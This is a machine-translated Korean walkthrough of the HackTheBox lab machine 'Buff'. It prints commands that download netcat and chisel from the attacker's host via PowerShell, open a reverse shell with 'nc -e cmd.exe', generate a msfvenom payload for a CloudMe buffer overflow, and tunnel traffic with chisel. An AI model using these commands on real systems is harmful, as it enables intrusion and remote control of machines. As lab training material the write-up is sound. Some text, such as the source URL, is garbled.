Buff Walk Through ~HackTheBox~
htps //w w. ck ぇ보 x. 에우/
본 기사에서는 HackTheBox의 Machine 중 Windows의 레벨 easy로 분류되는 Buff의 WalkThrough를 써갑니다.
Buff WalkThrough
IP 주소: 10.10.10.198
기계 이름: 버프
Level: 쉬운
포트 스캔
nmap 10.10.10.198 -Pn -sV -sC -A
포트 스캔에서 Port : 8080으로 웹 서비스가 시작되고 있음을 알 수 있습니다. 액세스해 봅시다.
피트니스 웹 페이지처럼 보입니다. 연락처 탭을 클릭하면 다음과 같은 페이지가 나타납니다.
빨간색 테두리에 주목하십시오.
아마도 사용할 소프트웨어 이름 Gym Management Software 1.0이 표시됩니다.
사용자 플래그
소프트웨어 이름과 버전을 exploit-db에서 검색합니다.
다음 정보가 히트되었습니다.
Exploit 코드를 다운로드할 수 있으므로 다운로드하여 실행합니다.
python gym-exploit.py http://10.10.10.198:8080/
$\tiny{※gym-exploit.py는 exploit 코드의 이름입니다. }$
다음과 같이 webshell을 구축하는 데 성공했습니다.
Webshell을 사용하여 netcat 및 port forwarding에 사용할 exe 파일을 대상 컴퓨터에 다운로드합니다.
이것은 자신이 좋아하는 방법이 될 수 있지만 여기에서는 파이썬 SimpleHTTPServer를 사용합니다.
python -m SimpleHTTPServer <port>
Webshell에서는 다음 두 가지 명령을 실행하여 서버에서 netcat과 chisel을 다운로드합니다.
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/nc.exe -OutFile c:\xampp\htdocs\gym\upload\nc.exe
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/chisel.exe -OutFile c:\xampp\htdocs\gym\upload\chisel.exe
Kali는 netcat을 청취 모드로 시작하고 대기하고 다운로드 한 netcat을 webshell로 실행합니다.
#kali
nc -lvvnp <port>
#Webshell(Windows)
nc <your kali ip> <your listening port> -e cmd.exe
Shell을 설정할 수 있었습니다.
User flag를 획득하겠습니다.
문제없이 user.txt의 내용을 확인할 수있었습니다.
루트 플래그
root.txt에 액세스하려면 권한 승격을 수행해야 합니다.
대상 컴퓨터 내에서 잠시 산책했을 때 CloudMe_1112.exe라는 실행 파일을 발견했습니다.
exploit-db에서 검색해 보면 버퍼 오버플로 취약점이 있는 것 같습니다.
(대상 머신의 Buf라는 이름은 이것을 암시하는 것 같습니다.)
exploit 코드를 다운로드합니다.
다운로드한 exploit 코드에서는 취약성을 이용하여 임의의 명령을 실행할 수 있는 것 같습니다. 기본적으로 calc.exe(계산기)를 실행하는 코드로 되어 있으므로 msfvenom을 사용하여 코드를 편집합니다.
msfvenom -p windows/exec CMD='c:\xamppp\htdocs\gym\upload\nc.exe <your ip> <listening port> -e cmd.exe' -b '\x00\x0a\x0d' -f python -v payload
생성된 페이로드를 다운로드한 exploit 코드의 페이로드 부분으로 교체합니다.
드디어 exploit 코드를 실행! 하고 싶은 곳입니다만, 터널을 만들지 않으면 타겟 머신은 payload를 받아들이지 않습니다.
여기서 방금 업로드한 chisel을 사용합니다.
#kali
chisel server -p <listening port> -reverse -v
#ターゲットマシン
chisel.exe client <your ip> R:8888:127.0.0.1:8888 -v --keepalive:1000
안전, 터널 개통.
exploit 코드를 실행했을 때의 reverse 통신을 listen하기 위해 payload 작성시에 지정한 listening port를 netcat로 대기.
nc -lvvnp 4444
그런 다음 exploit를 실행하기 만하면됩니다. (1회에서는 성공하지 못할 때가 있습니다. 3, 4회 정도 시험해 주세요. 잘못 되었을 때는 chisel의 출력을 참고로 해 보면 에러 내용을 알 수 있을지도 모릅니다.)
python ./<exploitcode-name>.py
쉘이 설정됩니다. root.txt의 내용을 확인합시다.
무사히 루트 플래그를 획득할 수 있었습니다.
수고하셨습니다.
Reference
이 문제에 관하여(Buff Walk Through ~HackTheBox~), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/bananamilksec/items/9ba4a852ba09664531f6텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)